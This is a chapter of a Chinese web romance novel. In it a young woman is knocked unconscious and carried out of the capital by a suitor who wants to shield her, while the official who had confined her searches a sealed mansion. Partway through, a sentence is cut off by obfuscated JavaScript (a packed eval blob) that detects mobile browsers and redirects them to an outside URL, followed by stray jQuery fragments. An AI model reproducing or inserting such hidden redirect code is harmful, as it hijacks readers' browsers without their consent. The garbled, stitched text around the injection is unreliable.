29. 婚约

作品:《招惹清冷世子后

    “为什么?”


    若非怕惊动这里的守卫,程洛竹此时定是惊呼出来的。此刻他压低了声音,情绪中还是难掩的激动。


    应瑶道:“杨太傅是因外公之事入狱,若此时叫我一走了之,我心中难安。”


    程洛竹心急如焚,忍不住道:“可你留下来,又能为杨太傅做些什么呢?”


    夜色下,瞬间寂如死灰。


    应瑶没有回答,但二人不约而同想到了同一个答案。


    在应瑶眼中,沈容湛奉旨彻查魏王谋反一事,那这件事,他便是最有可能接触之人。


    片刻后,程洛竹终究是将真相说出口,“事情早已不是你想的那样了。杨太傅,便是由他亲自关押入狱。”


    霎时间,应瑶心中思绪万千。


    她心中是无法接受这件事的,她从前虽不信沈容湛会将证物呈于朝堂,可做出将杨太傅下狱这等事,她不信他会做。


    此事若非是出自程洛竹之口,她是断然不会信的。


    即便是她信了,此刻心中想的,亦是或许君威难测,沈容湛有什么苦衷。


    “抱歉,我知道你为了找我,付出了许多努力,可这种情况下,我不能跟你走。”


    窗外,弦月高悬。


    应瑶轻手轻脚打开房门,将程洛竹推向门外。


    “你快走吧,再过些时候,怕是要惊动他们了。”


    程洛竹不语,只能任由她推向门外。


    应瑶推着他向前几步,轻道了声:“抱歉。”


    “你真的想好了吗?”


    应瑶点点头。


    “好吧,夜深了,那你快回去吧。”


    应瑶诧异于他答应的如此之快,月光微弱朦胧,她想看清他的神色,却只能看到一个模糊的轮廓。


    她来不及多想了,在程洛竹向前走了两步后,她亦回身,走向房中。


    紧接着,却觉背上一痛,失去了意识。


    程洛竹轻轻接住她瘫倒的身子,低声道:“我知道你的想法,你不能让杨太傅因宁王府之事而死,但我不能留你在此陷阱。那么恶人,由我来做。”


    ……


    翌日,别苑中那位一向早起的姑娘,直到巳时,屋里仍迟迟没有动静。


    几名婆子道她只是贪睡,起初没往心里去,况且这么高的院墙,她还能跑了不成?


    直到巳时,几人见日上三竿了,那屋里还是没动静,便敲响了那间紧闭着的房门。


    起初还是轻轻敲几下,见里头没动静,渐渐增加了力道,到最后连门框都被敲得直震。


    最后,几人一合计,直接使劲推开了房门。


    一进去,几人傻眼了。


    那位姑娘哪里还在屋子里?


    “快,先在院子里找找!”


    婆子们还是坚信着人跑不了,可这别苑不大,前后各一小院,再加上四五间房。不消片刻,几人便将别苑里里外外寻了个遍。


    几人聚在一起,大眼瞪小眼之际,终于意识到


    ——那姑娘竟是真的逃了!


    按理说,几人应当立即前去禀报,可她们知道英国公府的那位多么看着,就连他身边的侍从,也多次叮嘱她们,一定要看好那姑娘。


    眼下出了这档子事,她们第一时间想的,是若这般禀报,恐怕免不了受罚。


    几人一合计,决定先在周围四处找找,毕竟她一个姑娘,能跑多远。


    直到未时,几人整整找了两个时辰,连那姑娘的影子都没见到,才彻底慌了神。


    “快去禀告世子爷吧!”其中一名婆子面色铁青。


    她们知道不能再耽搁了,火速前往英国公府。


    在将事情禀告的下一刻,她们在向来喜怒不言于色的世子爷脸上,看到了震怒的表情。


    婆子们吓得跪在地上,颤抖着肩背,丝毫不敢抬头。


    “拖下去。”


    几人跪在地上,连连叩头道饶。


    得到命令的侍从们,并不理会她们的求饶,片刻后,房内便恢复了清净。


    沈容湛唤来魏泽,吩咐道:“去城门处,就说有魏王案要犯出逃,让他们严守城门,不能放任何可疑车马出城。另外,若今日之前有可疑之人出城,速速来禀。”


    魏泽得了令,火速前往各方城门。


    城门处统领得令,丝毫不敢耽搁,谁让这位沈大人因魏王一案,成为圣上跟前的红人,就连杨太傅也锒铛入狱了。


    很快,这件事便查出了眉目。


    应瑶今日消失,程洛竹那边便向翰林苑告了假,今日一早,程家的马车又出了城。


    这自然很容易让人想清其中关系,只是现在已经过了整整一日,若想追回二人,恐怕不是那么容易。


    魏泽一边命人去追程家马车,一边回去禀告。


    ……


    尘封许久的昌宁伯府,被侍从揭下封条,随着紧闭的大门被推开,掀起阵阵尘土。


    原本错落有致的庭院,如今被杂草堆满,向外伸出的杂草木枝,横在弯曲的小道上,几名差役在前头拿着刀砍断那些杂乱的草木,才清理出一条路来。


    随即,沈容湛踏进院门,行在那条石子路上,向后院的方向行进。


    他们不知为何,沈大人会突然要查昌宁伯府。照理说,这里虽是宁王女婿的府邸,可人人皆知,昌宁伯醉心于书画,从不在意仕途。这么好端端的,要来查昌宁伯府。


    虽心有疑虑,但看见沈容湛铁青的脸色,愣是一句话也没问出口。


    不过是拿些微薄的俸禄,上头吩咐的,照做便是,何必管那么多呢?


    “去把这条路也清出来。”


    几人怔愣着,听见沈容湛的吩咐尚未缓过神。


    见他们没动作,沈容湛又说了一遍。


    这一次,声音比上一次更凌厉些。


    几人连忙看向沈容湛指的那条路,那是通往后宅的路,原本几人以为,只需要到昌宁伯的住所以及书房,便没有清扫这边的路。


    来不及多想,几人向一旁招了招手,又来了些人加入,不消片刻,小路便被清扫出来了。


    沈容湛率先踏上那条路,剩余的人连忙追了上去。


    那是一个临湖的小院,虽现在院子中的草长得杂乱不堪,依稀可以窥见,之前定是景色秀丽。


    后院是女眷的住所,正院住着的是昌宁伯的夫人,而昌宁伯只有一子一女,这里是谁的住所,便显而易见了。


    几人十分有眼色地清扫了里头的杂草,待沈容湛迈步进去,几人正要跟上时,却见沈容湛回头吩咐道:“你们不必跟着了。”


    不知为何,几人得到这样的指示,反倒觉得松了口气。


    室内,一应摆设都蒙了尘。


    沈容湛办过不少案子,办案时总免不了去各种地方,女子的闺阁亦见了不少。大多是放妆台首饰,胭脂罗衣,像这般摆满了字画书籍的倒是少见。


    沈容湛随手翻了几页,掸去上头的灰尘。


    书籍信件堆了一摞又一摞,如今要翻找,倒属实有些难。


    如何紧接着,他便被窗下一角吸引了视线。


    那是个妆台,上面摆着铜镜,胭脂水粉。妆台不大,只占了小小一角,桌下的圆凳尚未归位,仿佛那鲜明的女子,便坐在那里梳妆。


    在昌宁伯府被抄家前,她便住在这里,坐在妆台前,或许如同无数女子般,满怀少女的心事。


    他忍不住向前挪了挪脚步,抽开妆匣。匣内的珠宝未染尘,仍是旧时模样。


    那人从前的模样,似乎已跃然于他眼前。


    然而紧接着,当他拿出妆匣最下方藏的一摞信纸时,却陡然变了脸色。


    “沈大人,魏统领求见!”


    外头传来的通报声,打乱了沈容湛的思绪。


    在得到首肯后,魏泽风


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918765|191098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尘仆仆地进来。


    “世子,事情有眉目了,程洛竹今日告了假,城门守卫说,今日见到程家的马车出城了。”


    “何时出城的?”


    “今日一早,”魏泽顿了顿,“已经派人前去追了。”


    已经过了这么久,哪里是那么容易追上的。沈容湛闻言,心中升起几分怒意。


    “去牵我的马来。”


    魏泽刚想阻拦,却看见沈容湛不虞的面色,低声道了是,便前去命人牵马。


    他刚一低头,便瞧见世子身旁的妆台上,那封书信的落款


    ——程洛竹。


    目光很快从上面扫过,魏泽没有多看,快步走向门外。


    昌宁伯府门口,沈容湛飞身上马,正欲扬鞭,向城门处驶去。


    “世子爷留步!”


    沈容湛回过头,向身后骑马赶来的侍从看去,“什么事?”


    “世子爷,圣上召您进宫!”


    ……


    马车一路摇摇晃晃,向城外驶去,不知过了多久,应瑶终于在马车中醒来。


    已近黄昏,车帷飘扬时,可以看到外面正徐徐落下的夕阳。


    顿时,应瑶觉得心中一惊!


    向四周看去,她看见程洛竹望向她的眼,满是关心。


    “你醒了,可有什么不舒服?”


    应瑶只觉得脑袋昏昏沉沉,可她实在顾不了这些。


    “为什么要这么做?我要回去!”


    程洛竹无奈叹了口气,“阿瑶,你在京城我实在放心不下,杨太傅的事,朝臣已经在联名上奏,相信圣上,也不会在这般一意孤行。”


    应瑶闭了闭眼,她知道,圣上早已不是之前的圣上了,程洛竹对她说这些,不过是在安慰她罢了。


    “程大哥,我知道你是为了我好,但这件事……”


    她的话还没说完,便被程洛竹厉声打断,“你回去又能怎样?还不是要找沈容湛,他对你的心思,你不是不知道。我怎么能放任你回去找他呢?”


    程洛竹顿了顿,继续说道:“若不是出了这件事,你本该和他取消婚约,我们应该成婚了!”


    应瑶从未见过他这般疾言厉色,一时间,她不知该如何回应了。


    她与沈容湛,本就是幼时被赐下的婚事。拖了这么些年,她早就明白,那人并不想娶她。


    而她的父母,也更有意将她许配给看着长大的程洛竹。只等着过了年,便去求宁王,向圣上请旨,解除婚约。


    只是出了这样的事,她早已无心于情爱上,现在有更重要的事,等着她去做。面对程洛竹的质问,她能够理解,却在此时无法回应,只能选择一路缄默。


    马车仍在奔驰着,直到天色完全黑了,终于停下。


    又是一处小院,应瑶没有细算,这些时日她究竟换了多少个住处了。就好像飘萍一般,风吹到哪,便随水流到哪。


    但人真的要这样吗?


    程洛竹意识到自己的失态,自觉吓到了她,此刻看向她,倒带了几分愧疚,“你且安心住在这里,京城那边的事我会处理,待风声过去了,我便接你回去。”


    应瑶望了望那小院,护院婢女一应俱全。


    她知道,这个时候关于这件事,她说服不了他,只能无奈道了声好。


    见她没再坚持,程洛竹终于松了口气,却没有完全放下心来。


    “时间不早了,我若再不回去,恐遭人怀疑。”


    应瑶点点头,“你快回去吧,我在这里无碍。”


    程洛竹上了马车,临行前依依回头,“阿瑶,若是得空,我会常来看你的。”


    应瑶笑着点头回应。


    马车渐行渐远,应瑶看着马车留下的车辙,无端叹息一声。


    若真要逃,又哪里是那么容易的,恐怕沈容湛的人,早已在追查的路上了。


    与其在这里等,倒不如放手一搏。